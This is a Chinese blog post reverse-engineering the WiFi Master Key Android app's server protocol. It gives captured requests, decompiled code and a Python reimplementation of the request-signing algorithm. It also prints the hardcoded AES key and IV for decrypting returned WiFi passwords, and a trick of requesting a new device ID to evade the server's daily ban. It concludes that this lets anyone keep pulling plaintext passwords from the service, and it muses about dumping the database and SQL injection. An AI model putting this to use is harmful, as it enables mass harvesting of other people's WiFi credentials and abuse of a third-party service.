WIFI万能钥匙协议分析

  • 首页
  • 开源项目
    • Java 开源软件
    • C# 开源软件
    • PHP 开源软件
    • C/C++ 开源软件
    • Ruby 开源软件
    • Python 开源软件
    • Go开源软件
    • JS开源软件
  • 问答
    • 技术问答 »
    • 技术分享 »
    • IT大杂烩 »
    • 职业生涯 »
    • 站务/建议 »
    • 支付宝专区 »
    • 开源硬件专区 »
  • 代码
  • 博客
  • 翻译
  • 资讯
  • 移动开发
    • Android开发专区
    • iOS开发专区
    • iOS代码库
    • Windows Phone
  • 招聘
  • 城市圈
当前访客身份:游客 [ 登录 | 加入开源中国 ]

  1. 1. Flappy Bird(安卓版)逆向分析(一)
  2. 2. Android安全-Native Hook
  3. 3. WIFI万能钥匙协议分析
  4. 4. Android安全-SO动态库注入
  5. 5. Flappy Bird(安卓版)逆向分析(二)
  6. 6. python3模拟浏览器POST提交实现谷歌翻译
  7. 7. Crypto++ 编码与哈希(StringSource和FileSource)
  8. 8. 一些基本概念
最新评论
  • @Ethan:我也是第一次接触这方面的东西,能发个demo参考研...查看»
  • @Honghe:jd_gui 反编译时 public final String b(String...查看»
  • @tiandao:您好,我是第一次接触这个,能麻烦给我发一下dem...查看»
  • @我爱眠眠:您好,能不能把demo给我一份呢,我的邮箱是18356...查看»
  • @jimmajim:您好 能不能把demo给我呢 最近我也在研究这一块 ...查看»
  • @kingsOSZT:博主我当天搞定了。你回复我的太晚了。。 同楼上...查看»
  • @enimey:引用来自“1621523332”的评论博主,你的不是因为...查看»
  • @1621523332:博主,你的不是因为python和java的加密方式不同,...查看»
  • @1621523332:现在最新版本的万能钥匙没有用到BASE64的编码,我...查看»
  • @1621523332:请问下你的那个JAVA版本的解密代码能发我看下吗?...查看»
访客统计
  • 今日访问:3
  • 昨日访问:19
  • 本周访问:34
  • 本月访问:493
  • 所有访问:7054

WIFI万能钥匙协议分析

发表于5个月前(2014-10-28 16:20)   阅读( 912) | 评论( 10 0人收藏此文章,
赞2

如何快速提高你的薪资?-实力拍“跳槽吧兄弟”梦想活动即将开启

摘要 揭秘WIFI万能钥匙破解wifi密码的原理
WIFI万能钥匙 Android逆向与协议分析

WIFI万能钥匙协议分析

作者:enimey

时间:2014.10.28

0x0

前段时间实验室需求,分析过WIFI万能钥匙的原理,现在空了写个博客记录下。

版本:2.9.38(不是最新版)

操作系统:Android

0x1

通过真实使用该软件后,可以得到一个初步的猜测,点击一键查询万能钥匙,该软件会收集附近WIFI热点相关信息,并上传到服务器,服务器在数据库中进行相关查询,然后将查询结果返回。还有一个功能是本地字典破解。我们这里只研究第一种。

0x2

首先进行抓包分析,如何抓手机包这里就不介绍了,百度、谷歌都可以解决。点击一键查询万能钥匙后,抓包结果如下(部分敏感信息我进行了人为修改):

发送包:

POST /wifiapi/faNaNd HTTP/1.1

Content-Length: 736

Content-Type: application/x-www-form-urlencoded

Host: wifiapi02.51y5.net

Connection: Keep-Alive

och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd%3Acommonswitch&mac=13%3A68%3A3f%3A86%3Acc%3Ab8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4%2C14%3Ae6%3Ae4%3A88%3A44%3A7c%2C00%3A87%3A36%3A00%3Aed%3A80%2C38%3A59%3Af9%3Ae3%3Aaa%3Af7%2C0a%3Aa3%3Ac4%3Ac0%3Acc%3A1d%2C16%3Ae5%3A43%3Aba%3A52%3A67%2Ce6%3Ad3%3A32%3A06%3Ae1%3A31%2C88%3A53%3A2e%3Ad0%3Ad1%3Abd%2Cd8%3A24%3Abd%3A76%3A60%3Aaa%2C&v=508&ssid=test%2C518%2C%E4%B8%80%E5%8F%B6%E7%9F%A5%E7%A7%8B%2C%E5%8D%A7%E6%A7%BD%EF%BC%8C%E5%B1%85%E7%84%B6%E6%9C%89WiFi%2CATY-PC%2Cuuuuuu%2CTP-LINK_517%2C360WiFi-0009%2Ccisco-60A8%2C&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147

url解码后:

och=guanwang&ii=355136033391516&appid=0001&pid=qryapwd:commonswitch&mac=12:68:3f:86:cc:b8&lang=cn&sign=881FF8FB34BF53A8C598147BC2668215&bssid=48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa,&v=508&ssid=test,518,一叶知秋,卧槽,居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8,&method=getSecurityCheckSwitch&uhid=a0000000000000000000000000000001&st=m&chanid=guanwang&dhid=40289ec14942672d014954ad909a1147

返回包:

{"retSn":"446c7c3434754f57b54935a5ea8cb173","qryapwd":{"retCd":"0","psws":{"d8:24:bd:76:60:aa":{"bssid":"d8:24:bd:76:60:aa","pwd":"4924364E06341F06F90F3BD86C7DDBCE98A24FCE8457589BB0D89CB103157EB0","hid":"A7C2DEC47A6594251B6329AE48A9B6BF","xJs":"","ssid":"cisco-60A8","xUser":"","type":"internet","xPwd":"","securityLevel":"2"},"14:e6:e4:88:44:7c":{"bssid":"14:e6:e4:88:44:7c","pwd":"108C505B25B2D8FB2CC4E749A13F0D29FE94164E427BC27E6DECB5F943959188","hid":"346C68D54F9219A2CDA1549323BD3A3A","xJs":"","ssid":"518","xUser":"","type":"internet","xPwd":"","securityLevel":"2"}},"topn":{"e6:d3:32:06:e1:31TP-LINK_517":50,"38:59:f9:e3:aa:f7..................WiFi":10,"48:d2:24:5d:e2:e4test":0,"16:e5:43:ba:52:67uuuuuu":0,"d8:24:bd:76:60:aacisco-60A8":0,"88:53:2e:d0:d1:bd360WiFi-0009":0,"00:87:36:00:ed:80............":0,"14:e6:e4:88:44:7c518":0,"0a:a3:c4:c0:cc:1dATY-PC":0},"qid":"446c7c34-3475-4f57-b549-35a5ea8cb173"},"retCd":"0","commonswitch":{"retCd":"0","switchFlag":"false"}}

很明显,客户端一个POST请求(POST内容包括了WIFI相关热点信息、本机信息、命令信息、版本信息等),服务器返回的数据里就包含了加密过后的WIFI密码(pwd字段);

通过多次抓包对比,POST数据字段的特点如下:

och:guanwang //固定不变

ii:355136033391516 //手机识别码

appid:0001 //固定不变

pid:qryapwd:commonswitch /类别字段

mac:12:68:3f:86:cc:b8 //本机mac地址

lang:cn //语言字段

sign : 881FF8FB34BF53A8C598147BC2668215 //签名字段?

bssid:48:d2:24:5d:e2:e4,14:e6:e4:88:44:7c,00:87:36:00:ed:80,38:59:f9:e3:aa:f7,0a:a3:c4:c0:cc:1d,16:e5:43:ba:52:67,e6:d3:32:06:e1:31,88:53:2e:d0:d1:bd,d8:24:bd:76:60:aa, //WIFI热点mac地址

v:508//版本字段

ssid:test,518,一叶知秋,卧槽,居然有WiFi,ATY-PC,uuuuuu,TP-LINK_517,360WiFi-0009,cisco-60A8, //WIFI热点ssid

method:getSecurityCheckSwitch //命令字段

uhid:a0000000000000000000000000000001 //固定字段

st:m //固定字段

chanid:guanwang //固定字段

dhid:40289ec14942672d014954ad909a1147 //设备字段?

尝试用python重发该POST,服务器返回如下:

{'retCd': '-1111', 'retMsg': '商户数字签名错误,请联系请求发起方!', 'retSn': '50523aa899974790b8867d052a942805'}

所以,很明显sign字段值错误,需要逆向该APK找到sign字段值的生成算法。

0x3

反编译该APK,全局搜索字符串“sign“,结合method profiling,定位到关键代码:com/snda/wifilocating/e/u中的函数public static final JSONObject a(String arg14, Map arg15):

    public static final JSONObject a(String arg14, Map arg15) {
        HashMap v8_1;
        String v1_6;
        JSONObject v2_6;
        Exception v13_1;
        long v6;
        JSONObject v1_2;
        JSONObject v4_4;
        int v2_2;
        String v4_3;
        SocketTimeoutException v2_3;
        String v13;
        int v3_1;
        String v5_1;
        Exception v2_4;
        String v3;
        long v9;
        JSONObject v0_1;
        String v0;
        GlobalApplication v1 = GlobalApplication.a();
        if(!arg15.get("pid").equals("initdev:commonswitch") && !arg15.get("pid").equals("binddownload")
                 && !v1.b().f()) {
            new StringBuilder("no dhid for pid:").append(arg15.get("pid")).toString();
            v0 = ak.a();
            if(TextUtils.isEmpty(((CharSequence)v0))) {
                v0_1 = null;
                return v0_1;
            }
            else if(!v1.b().g(v0)) {
                HashMap v2 = new HashMap();
                v2.put("dhid", v0);
                ak.a("fndhid", "writedhidtoprefsfail_" + arg15.get("pid"), v2);
            }
        }

        HashMap v7 = ak.e();
        v0 = aw.j();
        if(TextUtils.isEmpty(((CharSequence)v0))) {
            v0 = aw.r();
        }

        String v2_1 = "mac";
        if(TextUtils.isEmpty(((CharSequence)v0))) {
            v0 = "";
        }

        ((Map)v7).put(v2_1, v0);
        ((Map)v7).put("ii", v1.c());
        ((Map)v7).put("dhid", v1.b().a());
        if(!arg15.get("pid").equals("vwoasid")) {
            ((Map)v7).put("uhid", v1.b().c());
        }

        if(arg15 != null) {
            ((Map)v7).putAll(arg15);
        }

        Object v0_2 = ((Map)v7).get("pid");
        if((((String)v0_2).equals("shareap")) || (((String)v0_2).startsWith("qryapwd")) || (((String)
                v0_2).startsWith("qryapwdwithvcd"))) {
            ((Map)v7).put("sign", ae.a(((Map)v7), GlobalApplication.a().b().S())); //sign的生成算法
        }
        else {
            ((Map)v7).put("sign", ae.a(((Map)v7), l.c));
        }
        .......

定位到ae.a函数(参数arg5为POST内容的map表,参数arg6为服务器返回的retSn字段值):

    public static String a(Map arg5, String arg6) {
        new StringBuilder("---------------key of md5:").append(arg6).toString();
        Object[] v2 = arg5.keySet().toArray();
        Arrays.sort(v2);
        StringBuilder v3 = new StringBuilder();
        int v4 = v2.length;
        int v1 = 0;
    label_11:
        if(v1 < v4) {
            v3.append(arg5.get(v2[v1]));
            ++v1;
            goto label_11;
        }

        v3.append(arg6);
        return ae.a(v3.toString()).toUpperCase();
    }
    
        public static final String a(String arg7) {
        String v0_2;
        try {
            byte[] v2 = MessageDigest.getInstance("MD5").digest(arg7.getBytes("utf-8"));
            StringBuffer v0_1 = new StringBuffer();
            int v1;
            for(v1 = 0; v1 < v2.length; ++v1) {
                String v3 = Integer.toHexString(v2[v1] & 255);
                v0_1 = v3.length() == 1 ? v0_1.append("0").append(v3) : v0_1.append(v3);
            }

            v0_2 = v0_1.toString();
        }
        catch(Exception v0) {
            v0.printStackTrace();
            v0_2 = "";
        }

        return v0_2;
    }

从而得出sign的算法为:客户端首先构造POST内容的map表,并按照键sort排序后,将值连接成字符串1,最后与服务器返回的retSn字段值连接为字符串2,取字符串2的md5值并转换为全大写字母,这样就得到了sign值。python3代码为:

def getSign(data, retSn) :
	if 'sign' in data :
		del(data['sign'])
	sign = ''
	keyList = sorted(list(data.keys()))

	for i in range(len(keyList)) :
		sign += data[keyList[i]]

	sign += retSn

	sign = hashlib.md5(sign.encode('utf-8')).hexdigest().upper()
	print(sign)
	return sign

解决了sign字段后,服务器成功返回了正确的数据,但是返回的pwd是加密过后的,我们还需要解密。

0x4

同样,反编译该APK,全局搜索字符串“dofinal”,结合method profiling,定位到关键代码com/snda/wifilocating/f/a中的函数public final String b(String arg7):

    public final String b(String arg7) { //参数arg7为加密过后的pwd,函数返回值即为解密过后的pwd
        byte[] v1_1;
        byte[] v0_2;
        int v5 = 2;
        String v0 = null;
        if(!aq.a(arg7)) {
            try {
                this.c.init(2, this.b, this.a); //this.b为SecretKeySpec;this.a为IvParameterSpec
                Cipher v2 = this.c;
                if(arg7 != null && arg7.length() >= v5) {
                    int v3 = arg7.length() / 2;
                    v0_2 = new byte[v3];
                    int v1 = 0;
                label_21:
                    if(v1 >= v3) {
                        goto label_12;
                    }

                    v0_2[v1] = ((byte)Integer.parseInt(arg7.substring(v1 * 2, v1 * 2 + 2), 16));
                    ++v1;
                    goto label_21;
                }

            label_12:
                v1_1 = v2.doFinal(v0_2);
            }
            catch(Exception v0_1) {
                throw new Exception("[decrypt] " + v0_1.getMessage());
            }

            v0 = new String(v1_1);
        }

        return v0;
    }

通过smali注入,得知this.b和this.a的值为固定值:

this.b = "jh16@`~78vLsvpos";

this.a = "j#bd0@vp0sj!3jnv";

这里就是一个简单的aes解密函数,其中IV = “j#bd0@vp0sj!3jnv”,KEY="jh16@`~78vLsvpos",填充方式为"AES/CBC/NoPadding",解密函数的实现请参照上面贴出的代码,我用python3写的解密失败,只能用java解密,好像是python3和java的AES加解密方式不同的原因,知道的请告知解决办法,贴上我的python3解密代码(未成功):

def getPwd(pwd) :
	key = 'jh16@`~78vLsvpos'
	iv = 'j#bd0@vp0sj!3jnv'
	# iv = pwd[:16]
	# unpad = lambda s : s[0:-ord(s[-1])]

	cipher = AES.new(key, AES.MODE_CBC, iv)
	pwd = (cipher.decrypt(pwd)).decode('utf-8')
	print(pwd)

另外,java解密出来的数据,只有中间一部分是密码,头尾貌似是填充。

这样,我们就基本能够实现模拟POST请求,且获得明文密码。然而,当你一天之内,多次请求的时候,服务器会将你屏蔽掉,只有第二天才能继续请求。那么服务器是如何确定是你在请求呢?

通过多次测试,修改ii、mac、bssid、ssid均无效,换本机ip也无效,那么就只剩下字段dhid了。

0x5

该文件的相关配置信息是存放在/data/data/com.snda.wifilocating/shared_prefs/com.snda.wifilocating_preferences.xml文件中的,其中存放了dhid的值,而通过测试,当该APK第一次启动完毕后,该字段的值就存在了,并且一直保持不变,通过阅读相关源代码,发现dhid的值和retSn一样是从服务器返回的。清空程序数据,重新启动该APK,同时进行抓包,抓包结果如下:

发送包:

POST /wifiapi/faNaNd HTTP/1.1

Content-Length: 452

Content-Type: application/x-www-form-urlencoded

Host: wifiapi02.51y5.net

Connection: Keep-Alive

capbssid=48%3Ad2%3A24%3A5d%3Ae2%3Ae4&model=Nexus+4&och=guanwang&appid=0001&mac=10%3A68%3A3f%3A86%3Acc%3Ab8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052391516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev%3Acommonswitch&misc=google%2Foccam%2Fmako%3A4.4.4%2FKTU84P%2F1227136%3Auser%2Frelease-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184

url解码后:

capbssid=48:d2:24:5d:e2:e4&model=Nexus+4&och=guanwang&appid=0001&mac=10:68:3f:86:cc:b8&wkver=2.9.38&lang=cn&capssid=test&uhid=&st=m&chanid=guanwang&dhid=&os=android&scrs=768&imei=355136052333516&manuf=LGE&osvercd=19&ii=355136052391516&osver=4.4.4&pid=initdev:commonswitch&misc=google/occam/mako:4.4.4/KTU84P/1227136:user/release-keys&sign=43AC077F9CE8C477759E624DDF1A0E83&v=508&sim=&method=getTouristSwitch&scrl=1184

返回包:

{"initdev":{"retCd":"0","dhid":"ff80808149559760014955ca2d901135"},"retCd":"0","commonswitch":{"retCd":"0","switchFlag":"true"}}

这样,当服务器封掉我们的时候,只需要再构造一个initdhid的包发送给服务器,用服务器返回的新的dhid替换我们之前的dhid既可解封。

0x6

通过刚才的分析,我们完全可以自己构造POST包不断向WIFI万能钥匙服务器获取明文形式的WIFI密码,并且不会被服务器封掉。

PS:如果不断的做请求,算不算一种脱库的方式呢。话说WIFI万能钥匙的数据库才用了Hibernate,能不能sql注入呢?

你可能感兴趣的:(WIFI万能钥匙协议分析)